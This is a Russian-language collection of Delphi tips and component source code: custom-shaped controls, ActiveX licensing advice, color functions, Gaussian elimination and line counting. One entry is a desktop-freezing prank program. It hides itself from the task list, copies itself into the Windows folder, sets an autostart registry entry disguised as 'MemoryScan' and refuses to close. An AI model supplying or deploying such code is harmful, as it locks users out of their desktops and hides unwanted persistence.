          pMinMax.ptMinTrackSize.Y := fMinimumTrackHeight;
        if fMaximumTrackWidth <> 0 then
          pMinMax.ptMaxTrackSize.X := fMaximumTrackWidth;
        if fMaximumTrackHeight <> 0 then
          pMinMax.ptMaxTrackSize.Y := fMaximumTrackHeight;
        Msg.Result := 0; // message handled
        Exit; // skip default processing
      end;
  end;
  // call the default window procedure for every message
  Msg.Result := CallWindowProc (OldWndProc,
    FormHandle, Msg.Msg, Msg.WParam, Msg.LParam);
end;
// property related methods
procedure TDdhFormExt.SetBackBitmap(Value: TBitmap);
begin
  fBackBitmap.Assign (Value);
end;
procedure TDdhFormExt.BackBitmapChanged (Sender: TObject);
begin
  (Owner as TForm).Invalidate;
end;
procedure Register;
begin
  RegisterComponents('DDHB', [TDdhFormExt]);
end;
end.

DDHROUND_PAS.HTM.

unit DdhRound;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TDdhRoundBtn = class(TButton)
  private
    IsFocused: Boolean;
    FCanvas: TCanvas;
    procedure CNDrawItem(var Msg: TWMDrawItem); message CN_DRAWITEM;
    procedure CMFontChanged(var Msg: TMessage); message CM_FONTCHANGED;
    procedure CMEnabledChanged(var Msg: TMessage); message CM_ENABLEDCHANGED;
    procedure WMLButtonDblClk(var Message: TWMLButtonDblClk);
      message WM_LBUTTONDBLCLK;
  protected
    procedure SetBounds (ALeft, ATop, AWidth, AHeight: Integer); override;
    procedure CreateParams(var Params: TCreateParams); override;
    procedure CreateWnd; override;
    procedure SetButtonStyle(ADefault: Boolean); override;
  public
    constructor Create (AOwner: TComponent); override;
    destructor Destroy; override;
  published
    property Color;
    property Width default 100;
    property Height default 50;
    property ParentShowHint;
    property ShowHint;
    property TabOrder;
    property TabStop;
    property Visible;
    property OnEnter;
    property OnExit;
  end;
procedure Register;
implementation
constructor TDdhRoundBtn.Create (AOwner: TComponent);
begin
  inherited Create (AOwner);
  SetBounds (Left, Top, 100, 50);
  FCanvas := TCanvas.Create;
end;
destructor TDdhRoundBtn.Destroy;
begin
  inherited Destroy;
  FCanvas.Free;
end;
procedure TDdhRoundBtn.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  with Params
    do Style := Style or bs_OwnerDraw;
end;
procedure TDdhRoundBtn.CreateWnd;
var
  hRegion: THandle;
begin
  inherited CreateWnd;
  hRegion := CreateEllipticRgn (0, 0, Width, Height);
  SetWindowRgn (Handle, hRegion, True);
end;
procedure TDdhRoundBtn.SetBounds (ALeft, ATop,
  AWidth, AHeight: Integer);
var
  hRegion: THandle;
begin
  inherited SetBounds (ALeft, ATop, AWidth, AHeight);
  if HandleAllocated then
  begin
    hRegion := CreateEllipticRgn (0, 0, AWidth, AHeight);
    SetWindowRgn (Handle, hRegion, True);
  end;
end;
procedure TDdhRoundBtn.CNDrawItem(var Msg: TWMDrawItem);
var
  OdsDown, OdsFocus, ActionFocus: Boolean;
  Rect: TRect;
begin
  // initialize
  FCanvas.Handle := Msg.DrawItemStruct^.hDC;
  Rect := ClientRect;
  Dec (Rect.Right);
  Dec (Rect.Bottom);
  with Msg.DrawItemStruct^ do
  begin
    OdsDown := itemState and ODS_SELECTED <> 0;
    OdsFocus := itemState and ODS_FOCUS <> 0;
    ActionFocus := ItemAction = oda_Focus
  end;
  with FCanvas do
  begin
    Brush.Color := Color;
    if not ActionFocus then
    begin
      // fill with current color
      Brush.Style := bsSolid;
      FillRect (Rect);
    end;
    // do not fill any more
    Brush.Style := bsClear;
    // draw border if default
    if Default or OdsFocus then
    begin
      Pen.Color := clWindowFrame;
      if not ActionFocus then
        Ellipse (Rect.Left, Rect.Top,
          Rect.Right, Rect.Bottom);
      // reduce the area for further operations
      InflateRect (Rect, -1, -1);
    end;
    if OdsDown then
    begin
      // draw gray border all around
      Pen.Color := clBtnShadow;
      if not ActionFocus then
        Ellipse (Rect.Left, Rect.Top,
          Rect.Right, Rect.Bottom);
    end
    else if not ActionFocus then
    begin
      // gray border (bottom-right)
      Pen.Color :=  clWindowFrame;
      Arc (Rect.Left, Rect.Top, Rect.Right, Rect.Bottom, // ellipse
        Rect.Left, Rect.Bottom, // start
        Rect.Right, Rect.Top); // end
      // white border (top-left)
      Pen.Color :=  clWhite;
      Arc (Rect.Left, Rect.Top, Rect.Right, Rect.Bottom, // ellipse
        Rect.Right, Rect.Top, // start
        Rect.Left, Rect.Bottom); // end
      // gray border (bottom-right, internal)
      Pen.Color := clBtnShadow;
      InflateRect (Rect, -1, -1);
      Arc (Rect.Left, Rect.Top, Rect.Right, Rect.Bottom, // ellipse
        Rect.Left, Rect.Bottom, // start
        Rect.Right, Rect.Top); // end
    end;
    // draw the caption
    InflateRect (Rect, - Width div 5, - Height div 5);
    if OdsDown then
    begin
      Inc (Rect.Left, 2);
      Inc (Rect.Top, 2);
    end;
    Font := Self.Font;
    if not ActionFocus then
      DrawText (FCanvas.Handle, PChar (Caption), -1,
        Rect, dt_SingleLine or dt_Center or dt_VCenter);
    // draw the focus rect around the text
    Brush.Style := bsSolid;
    Pen.Color:= clBlack;
    Brush.Color := clWhite;
    if IsFocused or OdsFocus or ActionFocus then
      DrawFocusRect (Rect);
  end; // with FCanvas and if DrawEntire
  FCanvas.Handle := 0;
  Msg.Result := 1; // message handled
end;
procedure TDdhRoundBtn.CMFontChanged(var Msg: TMessage);
begin
  inherited;
  Invalidate;
end;
procedure TDdhRoundBtn.CMEnabledChanged(var Msg: TMessage);
begin
  inherited;
  Invalidate;
end;
procedure TDdhRoundBtn.WMLButtonDblClk(var Message: TWMLButtonDblClk);
begin
  Perform(WM_LBUTTONDOWN, Message.Keys, Longint(Message.Pos));
end;
procedure TDdhRoundBtn.SetButtonStyle (ADefault: Boolean);
begin
  if ADefault <> IsFocused then
  begin
    IsFocused := ADefault;
    Invalidate;
  end;
end;
procedure Register;
begin
  RegisterComponents('DDHB', [TDdhRoundBtn]);
end;
end.

DDHSIZER_PAS.HTM.

unit DdhSizer;
interface
uses
   Classes, Windows, Messages, Controls, StdCtrls;
const
  sc_DragMove: Longint = $F012;
type
  TDdhSizeButton = class (TButton)
  public
    procedure WmNcHitTest (var Msg: TWmNcHitTest);
      message wm_NcHitTest;
  end;
  TDdhSizerControl = class (TCustomControl)
  private
    FControl: TControl;
    FRectList: array [1..8] of TRect;
    FPosList: array [1..8] of Integer;
  public
    constructor Create (AOwner: TComponent;
      AControl: TControl);
    procedure CreateParams (var Params: TCreateParams);
      override;
    procedure CreateHandle; override;
    procedure WmNcHitTest (var Msg: TWmNcHitTest);
      message wm_NcHitTest;
    procedure WmSize (var Msg: TWmSize);
      message wm_Size;
    procedure WmLButtonDown (var Msg: TWmLButtonDown);
      message wm_LButtonDown;
    procedure WmMove (var Msg: TWmMove);
      message wm_Move;
    procedure Paint; override;
    procedure SizerControlExit (Sender: TObject);
  end;
procedure Register;
implementation
uses
  Graphics;
// TDdhSizeButton methods
procedure TDdhSizeButton.WmNcHitTest(var Msg: TWmNcHitTest);
var
  Pt: TPoint;
begin
  Pt := Point (Msg.XPos, Msg.YPos);
  Pt := ScreenToClient (Pt);
  if (Pt.x < 5) and (pt.y < 5) then
    Msg.Result := htTopLeft
  else if (Pt.x > Width - 5) and (pt.y < 5) then
    Msg.Result := htTopRight
  else if (Pt.x > Width - 5) and (pt.y > Height - 5) then
    Msg.Result := htBottomRight
  else if (Pt.x < 5) and (pt.y > Height - 5) then
    Msg.Result := htBottomLeft
  else if (Pt.x < 5) then
    Msg.Result := htLeft
  else if (pt.y < 5) then
    Msg.Result := htTop
  else if (Pt.x > Width - 5) then
    Msg.Result := htRight
  else if (pt.y > Height - 5) then
    Msg.Result := htBottom
  else
    inherited;
end;
// TDdhSizerControl methods
constructor TDdhSizerControl.Create (
  AOwner: TComponent; AControl: TControl);
var
  R: TRect;
begin
  inherited Create (AOwner);
  FControl := AControl;
  // install the new handler
  OnExit := SizerControlExit;
  // set the size and position
  R := FControl.BoundsRect;
  InflateRect (R, 2, 2);
  BoundsRect := R;
  // set the parent
  Parent := FControl.Parent;
  // create the list of positions
  FPosList [1] := htTopLeft;
  FPosList [2] := htTop;
  FPosList [3] := htTopRight;
  FPosList [4] := htRight;
  FPosList [5] := htBottomRight;
  FPosList [6] := htBottom;
  FPosList [7] := htBottomLeft;
  FPosList [8] := htLeft;
end;
procedure TDdhSizerControl.CreateHandle;
begin
  inherited CreateHandle;
  SetFocus;
end;
procedure TDdhSizerControl.CreateParams (var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  Params.ExStyle := Params.ExStyle +
    ws_ex_Transparent;
end;
procedure TDdhSizerControl.Paint;
var
  I: Integer;
begin
  Canvas.Brush.Color := clBlack;
  for I := 1 to  8 do
    Canvas.Rectangle (FRectList [I].Left, FRectList [I].Top,
      FRectList [I].Right, FRectList [I].Bottom);
end;
procedure TDdhSizerControl.WmNcHitTest(var Msg: TWmNcHitTest);
var
  Pt: TPoint;
  I: Integer;
begin
  Pt := Point (Msg.XPos, Msg.YPos);
  Pt := ScreenToClient (Pt);
  Msg.Result := 0;
  for I := 1 to  8 do
    if PtInRect (FRectList [I], Pt) then
      Msg.Result := FPosList [I];
  // if the return value was not set
  if Msg.Result = 0 then
    inherited;
end;
procedure TDdhSizerControl.WmSize (var Msg: TWmSize);
var
  R: TRect;
begin
  R := BoundsRect;
  InflateRect (R, -2, -2);
  FControl.BoundsRect := R;
  // setup data structures
  FRectList [1] := Rect (0, 0, 5, 5);
  FRectList [2] := Rect (Width div 2 - 3, 0,
    Width div 2 + 2, 5);
  FRectList [3] := Rect (Width - 5, 0, Width, 5);
  FRectList [4] := Rect (Width - 5, Height div 2 - 3,
   Width, Height div 2 + 2);
  FRectList [5] := Rect (Width - 5, Height - 5,
   Width, Height);
  FRectList [6] := Rect (Width div 2 - 3, Height - 5,
    Width div 2 + 2, Height);
  FRectList [7] := Rect (0, Height - 5, 5, Height);
  FRectList [8] := Rect (0, Height div 2 - 3,
   5, Height div 2 + 2);
end;
procedure TDdhSizerControl.SizerControlExit (Sender: TObject);
begin
  Free;
end;
procedure TDdhSizerControl.WmLButtonDown (var Msg: TWmLButtonDown);
begin
  Perform (wm_SysCommand, sc_DragMove, 0);
end;
procedure TDdhSizerControl.WmMove (var Msg: TWmMove);
var
  R: TRect;
begin
  R := BoundsRect;
  InflateRect (R, -2, -2);
  FControl.Invalidate; // repaint entire surface
  FControl.BoundsRect := R;
end;
// components registration
procedure Register;
begin
  RegisterComponents ('DDHB', [TDdhSizeButton]);
  RegisterNoIcon ([TDdhSizerControl]);
end;
end.

DDHSTAR_PAS.HTM.

unit DdhStar;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
type
  TDdhStar = class (TCustomControl)
  private
    {data fields for properties}
    fLineColor: TColor;
    fLineSize: Integer;
    fLinesVisible: Boolean;
    Pts: array [0..5] of TPoint;
  protected
    {set and get methods}
    procedure SetLineColor (Value: TColor);
    procedure SetLineSize (Value: Integer);
    procedure SetLinesVisible (Value: Boolean);
  public
    constructor Create (AOwner: TComponent); override;
    procedure CreateHandle; override;
    procedure SetBounds (ALeft, ATop, AWidth, AHeight: Integer); override;
    procedure Paint; override;
  published
    property LineColor: TColor
      read fLineColor write SetLineColor default clBlack;
    property LineSize: Integer
      read fLineSize write SetLineSize default 2;
    property LinesVisible: Boolean
      read fLinesVisible write SetLinesVisible default False;
    property Width default 50;
    property Height default 50;
  end;
procedure Register;
implementation
constructor TDdhStar.Create (AOwner: TComponent);
begin
  inherited Create (AOwner);
  // set default values
  fLineColor := clBlack;
  fLineSize := 2;
  fLinesVisible := False;
  Width := 50;
  Height := 50;
end;
procedure TDdhStar.SetBounds (ALeft, ATop, AWidth, AHeight: Integer);
var
  HRegion1: THandle;
begin
  inherited;
  // compute points
  Pts [0] := Point (AWidth div 2, 0);
  Pts [1] := Point (AWidth, AHeight);
  Pts [2] := Point (0, AHeight div 3);
  Pts [3] := Point (AWidth, AHeight div 3);
  Pts [4] := Point (0, AHeight);
  Pts [5] := Point (Width div 2, 0);
  // set component shape
  if HandleAllocated then
  begin
    HRegion1 := CreatePolygonRgn (Pts,
      sizeof (Pts) div 8, winding);
    SetWindowRgn (Handle, HRegion1, True);
  end;
end;
procedure TDdhStar.CreateHandle;
var
  HRegion1: THandle;
begin
  inherited;
  HRegion1 := CreatePolygonRgn (Pts,
    sizeof (Pts) div 8, winding);
  SetWindowRgn (Handle, HRegion1, True);
end;
procedure TDdhStar.Paint;
begin
  Canvas.Brush.Color := clYellow;
  if fLinesVisible then
  begin
    Canvas.Pen.Color := fLineColor;
    Canvas.Pen.Width := fLineSize;
    SetPolyFillMode (Canvas.Handle, winding);
    Canvas.Polygon (Pts);
  end
  else
  begin
    Canvas.Pen.Width := 1;
    Canvas.Rectangle (-1, -1, Width + 1, Height + 1);
  end;
end;
{property access functions}
procedure TDdhStar.SetLineColor(Value: TColor);
begin
  if Value <> fLineColor then
  begin
    fLineColor := Value;
    Invalidate;
  end;
end;
procedure TDdhStar.SetLineSize(Value: Integer);
begin
  if Value <> fLineSize then
  begin
    fLineSize := Value;
    Invalidate;
  end;
end;
procedure TDdhStar.SetLinesVisible(Value: Boolean);
begin
  if Value <> fLinesVisible then
  begin
    fLinesVisible := Value;
    Invalidate;
  end;
end;
{$R ddhstar.dcr}
procedure Register;
begin
  RegisterComponents('DDHB', [TDdhStar]);
end;
end.
Загрузить библиотеку компонент

Лицензирование активных форм и ActiveX.

- Вась, а как ты хакером стал? - Ну... сначала у меня сп%%%ли страну...
Почему ACTIVEX и активные формы иногда не отображаются в INTERNET EXPLORER? Все, что появляется, это .HTM-страница с пустым квадратом и красным "X" в нем.

Вероятно, при создании ActiveForm вы выбрали опцию лицензирования и не поместили .LIC-файл в ваш .OCX-файл. Обычно с ActiveForms/ActiveXs лицензирование не используется, поскольку активные элементы в основном используются для повышения привлекательности Интернет-сервера и "распространяются" свободно. Чтобы выключить лицензию времени разработки (Design-Time Licensing), найдите секцию initialization в вашем ActiveForm XXXImpl-файле и замените предпоследний параметр вызова TActiveXControlFactory.Create на пустую строку:

initialization
  TActiveXControlFactory.Create( ComServer, TAnimateX,
    TAnimate, Class_AnimateX, 1, '', 0);
end.
Так когда мне нужно будет использовать Design-Time Licensing? Ваш элемент управления должен использовать design-time-лицензию только в случае, если вы продаете ActiveX или ActiveForm другим разработчикам, которые встраивают их в продаваемые ими приложения для конечных пользователей. То есть, элемент управления работает в среде разработки (например, Delphi, C++Builder, VB и пр.) только когда LIC-файл присутствует, но это не работает когда .LIC-файл отсутствует во время выполнения приложения без среды разработки (например, в приложении для конечного пользователя). Если вы распространяете ваш ActiveX в Интернете, то вы должны задать режим разработки для конечного пользователя (в противоположность передачи другим разработчикам), и вам в этом случае не потребуется лицензия времени разработки. Кроме того, для показа ActiveForm необходимо установить в Internet Explorer уровень "Active content security" (безопасность активного содержимого) в medium (средняя). Чтобы это сделать, войдите в Панель Управления и щелкните на иконке Internet. Перейдите на страницу безопасности и нажмите на кнопку "Safety Level" (уровень безопасности). Убедитесь в том, что уровень находится на отметке "средний".

Примечание: Данный совет отностится только если вы разрабатываете собственные элементы управления. Потенциально хакерские элементы ActiveX могут нанести вред компьютеру!

Безжизненный рабочий стол.

Попали в одну, камеру разбойник и хакер. Разбойник: - Я вот сижу за ограбление магазина... А ты за что сидишь? Хакер: - Ограбил банк на 7 миллионов долларов... Разбойник: - Да ты че... ни фига себе... как же ты унес их из банка - денег-то офигенно много? Хакер рассказывает в общих чертах о компьютерах, сетях, взломах и т. д. Разбойник: - Ну ни фига себе, а как же ты попался? Хакер: - Брандмауэр засек и сработала защита... Разбойник: - Ах ты... Брандмауэр, твою мать... Всегда знал, что евреев опасаться надо...

Алгоритм следующий: нужно на форму вынести компонент класса TImage скопировать в него рабочий стол и растянуть во весь экран. Делаем это по созданию окна [событие OnCreate()]:

procedure TForm1.FormCreate(Sender: TObject);
var
  ScreenDC: HDC;
  canvas:Tcanvas;
begin
  ScreenDC:=GetDC(0);
  Canvas:=TCanvas.Create();
  canvas.Handle:=ScreenDC;
  Width:=Screen.Width;
  Height:=Screen.Height;
  Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height),
  canvas,Rect(0,0,Screen.Width,Screen.Height));
  Releasedc(0,ScreenDC);
  Canvas.Free;
end;

Затем нужно свойство формы BorderStyle установить в значение bsNone, чтобы не было видно боковины окна, а свойство FormStyle - в fsStayOnTop, дабы наше окно всегда было всех других окон!!! Свойство Align компонента Image1- в значение alClient, чтобы картинка занимала всё свободное. место.

Далее позаботимся о том, чтобы наше приложение не было видно и чтобы пользователь не мог завершить его :-)).

Событие по созданию окна в конечном итоге должно выглядеть так:

procedure TForm1.FormCreate(Sender: TObject);
var
  ScreenDC: HDC;
  canvas: Tcanvas;
  h: TRegistry;
begin
  ScreenDC:=GetDC(0);
  Canvas:=TCanvas.Create();
  canvas.Handle:=ScreenDC;
  Width:=Screen.Width;
  Height:=Screen.Height;
  Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height),
  canvas,Rect(0,0,Screen.Width,Screen.Height));
  Releasedc(0,ScreenDC);
  Canvas.Free;
  if not(csDesigning in ComponentState) then
  RegisterServiceProcess(GetCurrentProcessID,1);
  WinDirP := StrAlloc(MAX_PATH);
  Res := GetWindowsDirectory(WinDirP, MAX_PATH);
  if Res > 0 then WinDir := StrPas(WinDirP);
  if FileExists(WinDir+'\OurProgram.com')=false then
  CopyFile(PChar(Application.ExeName),PChar(WinDir+'\OurProgram.com'),false);
  h:=TRegistry.Create;
  h.RootKey:=HKEY_LOCAL_MACHINE;
  h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
  h.WriteString('MemoryScan',WinDir+'\OurProgram.com');
  h.CloseKey;
  h.Free;
end;

На событие OnCloseQuery() формы напишем:

CanClose:=false;

На событие OnActivate():

ShowWindow(Application.Handle,sw_Hide);

В области public объявим несколько переменных:

public
  { Public declarations }
  Windir: string;
  WindirP: PChar;
  Res: Cardinal;

А в uses подключим модуль Registry:

uses
  Registry;

Как сделать стандартные цвета в Delphi светлее или темнее.

Статьи по Delphi (011)…

В данной статье хотелось бы показать принцип получения из обычного цвета более тёмный или более светлый. А так же рассмотрим, как этот принцип реализован в программном коде.

Итак, немного теории

Каждый из трёх основных цветов (Красный, Зелёный ,Синий) могут иметь значение от 0 до 255, соответственно скомбинировав их мы можем получить 16,777,216 возможных цветов. Визуально это можно представить как три оси куба, в котором направления x, y и z отвечают за цвета красный, зелёный и синий. В сочетании эти направления дают точку в кубе, представляющую один цвет из 16 миллионов. Точка куба, в которой значение равняется 0 (0,0,0) соответствует чёрному цвету, значение (255,255,255) - белому цвету, (255,0,0) - чисто красному, и т.д.

Если визуально провести линию между каким-либо цветом (r,g,b) и белым цветом (255,255,255), то получится, что на этой линии будут лежать все значения данного цвета (r,g,b). Если мы будем двигаться по линии в сторону белого цвета, то яркость будет увеличиваться до тех пор пока не получим чисто белый цвет.

То же самое можно сделать и для уменьшения яркости цвета. Достаточно провести линию из цвета (r,g,b) в чёрный (0,0,0). То есть при движении по линии к чёрному цвету мы будем уменьшать яркость до тех пор, пока не получим чёрный цвет.

Функция "Darker" возвращает новое значение цвета, которое будет на сколько-то процентов темнее. Естественно, что при 100% мы получим чёрный цвет. Функция "Lighter" возвращает цвет, который светлее на сколько-то процентов исходного. 100% - белый цвет.

Функции Darker и Lighter требуют 2 параметра и используются примерно так:

Panel1.Color := Darker(clBlue,20);

Получится панель цветов, которая на 20% темнее обычного синего цвета.

Теперь давайте посмотрим, как выглядят внутри наши функции:

function Darker(Color:TColor; Percent:Byte):TColor;
var
  r, g, b: Byte;
begin
  Color:=ColorToRGB(Color);
  r:=GetRValue(Color);
  g:=GetGValue(Color);
  b:=GetBValue(Color);
  r:=r-muldiv(r,Percent,100);  //процент% уменьшения яркости
  g:=g-muldiv(g,Percent,100);
  b:=b-muldiv(b,Percent,100);
  result:=RGB(r,g,b);
end;
function Lighter(Color:TColor; Percent:Byte):TColor;
var
  r, g, b: Byte;
begin
  Color:=ColorToRGB(Color);
  r:=GetRValue(Color);
  g:=GetGValue(Color);
  b:=GetBValue(Color);
  r:=r+muldiv(255-r,Percent,100); //процент% увеличения яркости
  g:=g+muldiv(255-g,Percent,100);
  b:=b+muldiv(255-b,Percent,100);
  result:=RGB(r,g,b);
end;

Так же я добавил некоторые функции, в которых уже добавлены стандартные значения процентов. Это для тех, кому некогда задумываться над процентами :).

Panel1.Color := Light(clBlue);
Panel1.Color := SlightlyDark(clRed);
Panel1.Color := VeryLight(clMagenta);

Etc.

function SlightlyDark(Color:TColor):TColor;
begin
  Result := Darker(Color,25);
end;
function Dark(Color:TColor):TColor;
begin
  Result := Darker(Color,50);
end;
function VeryDark(Color:TColor):TColor;
begin
  Result := Darker(Color,75);
end;
function SlightlyLight(Color:TColor):TColor;
begin
  Result := Lighter(Color,25);
end;
function Light(Color:TColor):TColor;
begin
  Result := Lighter(Color,50);
end;
function VeryLight(Color:TColor):TColor;
begin
  Result := Lighter(Color,75);
end;

Получить осветлённый цвет.

Автор: ___Nikolay WEB-сайт: http://delphiworld.narod.ru
// Получить осветлённый цвет
function TfmDW6Main.GetLightColor(const Color: TColor; const Light: Byte) : TColor;
type
  TRGB = packed record
    R, G, B: Byte;
  end;
var
  fFrom: TRGB;
  function GetRGB(const Color: TColor): TRGB;
  var
    iColor: TColor;
  begin
    iColor := ColorToRGB(Color);
    Result.R := GetRValue(iColor);
    Result.G := GetGValue(iColor);
    Result.B := GetBValue(iColor);
  end;
begin
  FFrom := GetRGB(Color);
  Result := RGB(
    Round(FFrom.R + (255 - FFrom.R) * (Light / 100)),
    Round(FFrom.G + (255 - FFrom.G) * (Light / 100)),
    Round(FFrom.B + (255 - FFrom.B) * (Light / 100))
  );
end;

Границы для перемещения формы в рабочей области.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

// For some reason messages.pas declares no message record for this message 
type
   TWmMoving = record
     Msg: Cardinal;
     fwSide: Cardinal;
     lpRect: PRect;
     Result: Integer;
   end;
 // Add a handler to your forms private section: 
procedure WMMoving(var msg: TWMMoving); message WM_MOVING;
 // Implement it as 
  procedure TFormX.WMMoving(var msg: TWMMoving);
   var
     r: TRect;
   begin
     r := Screen.WorkareaRect;
    // compare the new form bounds in msg.lpRect^ with r and modify it if 
   // necessary 
    if msg.lprect^.left < r.left then
       OffsetRect(msg.lprect^, r.left - msg.lprect^.left, 0);
     if msg.lprect^.top < r.top then
       OffsetRect(msg.lprect^, 0, r.top - msg.lprect^.top);
     if msg.lprect^.right > r.right then
       OffsetRect(msg.lprect^, r.right - msg.lprect^.right, 0);
     if msg.lprect^.bottom > r.bottom then
       OffsetRect(msg.lprect^, 0, r.bottom - msg.lprect^.bottom);
     inherited;
   end;

Метод Гаусса решения системы линейных уравнений.

Автор: Mystic WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Метод Гаусса решения системы линейных уравнений
Рещение системы линейных уравнений (возможно переопределенной) методом Гаусса.
Определяется ситуация, что система не имеет рещений. Ситуация, когда система
имеет более чем одно решение не рассматривается. В случае удачного завершения
возвращает нуль.
Зависимости: System
Автор:       Mystic, mystic2000@newmail.ru, ICQ:125905046, Харьков
Copyright:   (C) Mystic
Дата:        25 апреля 2002 г.
***************************************************** }
function LinGauss(M, N: Integer; Data: PExtended; X: PExtended): Cardinal;
var
  PtrData: PExtended;
  PtrData1, PtrData2: PExtended;
  Temp: Extended;
  I, J, Row: Integer;
  Max: Extended;
  MaxR: Integer;
begin
  Assert(M >= N, 'Invalid start data');
  for I := 0 to N - 1 do // Для каждой переменной
  begin
    // 1. Поиск максимального элемента
    PChar(PtrData) := PChar(Data) + I * (N + 2) * SizeOf(Extended);
    MaxR := I;
    Max := PtrData^;
    for J := I + 1 to M - 1 do
    begin
      PChar(PtrData) := PChar(PtrData) + (N + 1) * SizeOf(Extended);
      if Abs(PtrData^) > Abs(Max) then
      begin
        Max := PtrData^;
        MaxR := J;
      end;
    end;
    // 2. А вдруг неразрешима?
    if Abs(Max) < 1.0E-10 then
    begin
      Result := $FFFFFFFF;
      Exit;
    end;
    // 3. Меняем местами строки
    if MaxR <> I then
    begin
      PChar(PtrData1) := PChar(Data) + MaxR * (N + 1) * SizeOf(Extended);
      PChar(PtrData2) := PChar(Data) + I * (N + 1) * SizeOf(Extended);
      for J := 0 to N do
      begin
        Temp := PtrData1^;
        PtrData1^ := PtrData2^;
        PtrData2^ := Temp;
        PChar(PtrData1) := PChar(PtrData1) + SizeOf(Extended);
        PChar(PtrData2) := PChar(PtrData2) + SizeOf(Extended);
      end;
    end;
    // 4. Пересчет направляющей строки
    PChar(PtrData) := PChar(Data) + I * (N + 1) * SizeOf(Extended);
    for J := 0 to N do
    begin
      PtrData^ := PtrData^ / Max;
      PChar(PtrData) := PChar(PtrData) + SizeOf(Extended);
    end;
    // 5. Пересчет всей оставшйся части таблицы
    PtrData1 := Data;
    for Row := 0 to M - 1 do
    begin
      if Row = I then
      begin
        PChar(PtrData1) := PChar(PtrData1) + (N + 1) * SizeOf(Extended);
        Continue;
      end;
      PChar(PtrData2) := PChar(Data) + I * (N + 1) * SizeOf(Extended);
      Temp := PExtended(PChar(PtrData1) + I * SizeOf(Extended))^;
      for J := 0 to N do
      begin
        PtrData1^ := PtrData1^ - Temp * PtrData2^;
        PChar(PtrData1) := PChar(PtrData1) + SizeOf(Extended);
        PChar(PtrData2) := PChar(PtrData2) + SizeOf(Extended);
      end;
    end;
  end;
  // 6. Проверка того, что система переопределена
  PChar(PtrData) := PChar(Data) + N * (N + 1) * SizeOf(Extended);
  for I := N to M - 1 do
    for J := 0 to N do
    begin
      if Abs(PtrData^) > 1.0E-10 then
      begin
        Result := $FFFFFFFF;
        Exit;
      end;
      PChar(PtrData) := PChar(PtrData) + SizeOf(Extended);
    end;
  // Все ОК
  PChar(PtrData) := PChar(Data) + N * SizeOf(Extended);
  for I := 0 to N - 1 do
  begin
    X^ := PtrData^;
    PChar(X) := PChar(X) + SizeOf(Extended);
    PChar(PtrData) := PChar(PtrData) + (N + 1) * SizeOf(Extended);
  end;
  Result := 0;
end;

Подсчет количества строк в текстовом файле.

Автор: [NIKEL] WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Подсчет количества строк в текстовом файле
Считает строки в текстовом файле,
основываясь на количестве символов $0A (LineFeed).
Зависимости: Windows
Автор:       Борис Новгородов, mbo@mail.ru, Новосибирск
Copyright:   Собственное написание
Дата:        1 декабря 2002 г.
***************************************************** }
function LinesCount(const Filename: string): Integer;
var
  HFile: THandle;
  FSize, WasRead, i: Cardinal;
  Buf: array[1..4096] of byte;
begin
  Result := 0;
  HFile := CreateFile(Pchar(FileName), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  if HFile <> INVALID_HANDLE_VALUE then
  begin
    FSize := GetFileSize(HFile, nil);
    if FSize > 0 then
    begin
      Inc(Result);
      ReadFile(HFile, Buf, 4096, WasRead, nil);
      repeat
        for i := WasRead downto 1 do
          if Buf[i] = 10 then
            Inc(Result);
        ReadFile(HFile, Buf, 4096, WasRead, nil);
      until WasRead = 0;
    end;
  end;
  CloseHandle(HFile);
end;

Пример использования:

Label1.Caption := IntToStr(LinesCount('e:\zz.txt'));

Количество строк в текстовом файле.

Если файлы не слишком велики, вы можете сделать так:

List := TStringList.Create;
try
  List.LoadFromFile('C:\FILE.TXT');
  Gauge.MaxValue := List.Count;
finally
  List.Free;
end;

Мы читаем в память весь текст, и кроме подсчета строк этот код ничего не делает. Другая идея заключается в использовании не счетчика строк, а счетчика байт. В самом начале вы запрашиваете размер файла (используя функцию Delphi FileSize), и в цикле проходите все байты, как вы делали это со строками. Цикл может выглядеть примерно так (предположим, вы используете стандартный паскалевский тип TEXT):

Gauge.MaxValue := FileSize(TextFile);
Reset(TextFile);
while not eof(TextFile) do
begin
  Readln(TextFile, Line);
  { Обработка строки }
  with Gauge do
  begin
    Progress := Progress + Length(Line) + 2; { 2 для CR/LF }
    Refresh;
  end;
end;

Компонент Линия.

Оформил: DeeCo

Автор: Александр Журавлев.

Компонент предназначен для вычерчивания линий на мнемосхемах и других целей, где количество ломаных линий, созданых одним компонентом, не должно превышать 255. Инструмент - Delphi 5.1. Введение даже списка (TList), не говоря уже о коллекции, заметно замедляло отрисовку, поэтому был выбран статический массив записей линий. Компонент позволяет изменять тощину, стиль и цвет как в режиме разработки, так и в динамике. Для редактирования используется стандартный редактор компонентов, запускаемый нажатием правой кнопкой мыши. Редактирование нужно начинать с первой команды выпадающего меню (Edit Lines), а заканчивать - со второй (Exit from Editing). Редактирование заключается в добавлении линий (Add Line) и узлов (Add node), и удалении их (Remove Line и Remove Node). Можно также менять цвет (Line Color) и стиль линии (LineStyle). Ввиду ограничений, накладываемых операционными системами Windows95 и 98, стили меняются только для линий с толщиной, равной 1. Для Windows NT и 2000 таких ограничений нет. Для изменения координат узла нужно выбрать линию путем нажатия левой кнопки мыши над требуемым узлом или концом линии, и, удерживая ее, перетащить на нужное место. Выделенная линия обозначается черными квадратиками. Для большего удобства в выпадающем меню редактора указывается общее количество созданых линий, номер выбранной линии и узлов в ней. К сожалению, компонент имеет существенный недостаток - отсутствие блокировки манипулирования другими компонентами, находящимися на форме, до выхода из режима редактирования линий. Автор будет глубоко благодарен за любые советы по преодолению указанного недостатка. Автор приносит глубокую благодарность Сергею Губенко и Юрию Зотову за ценные советы по построению компонента. Компонент могут использовать все без всяких ограничений, но со ссылкой на автора.

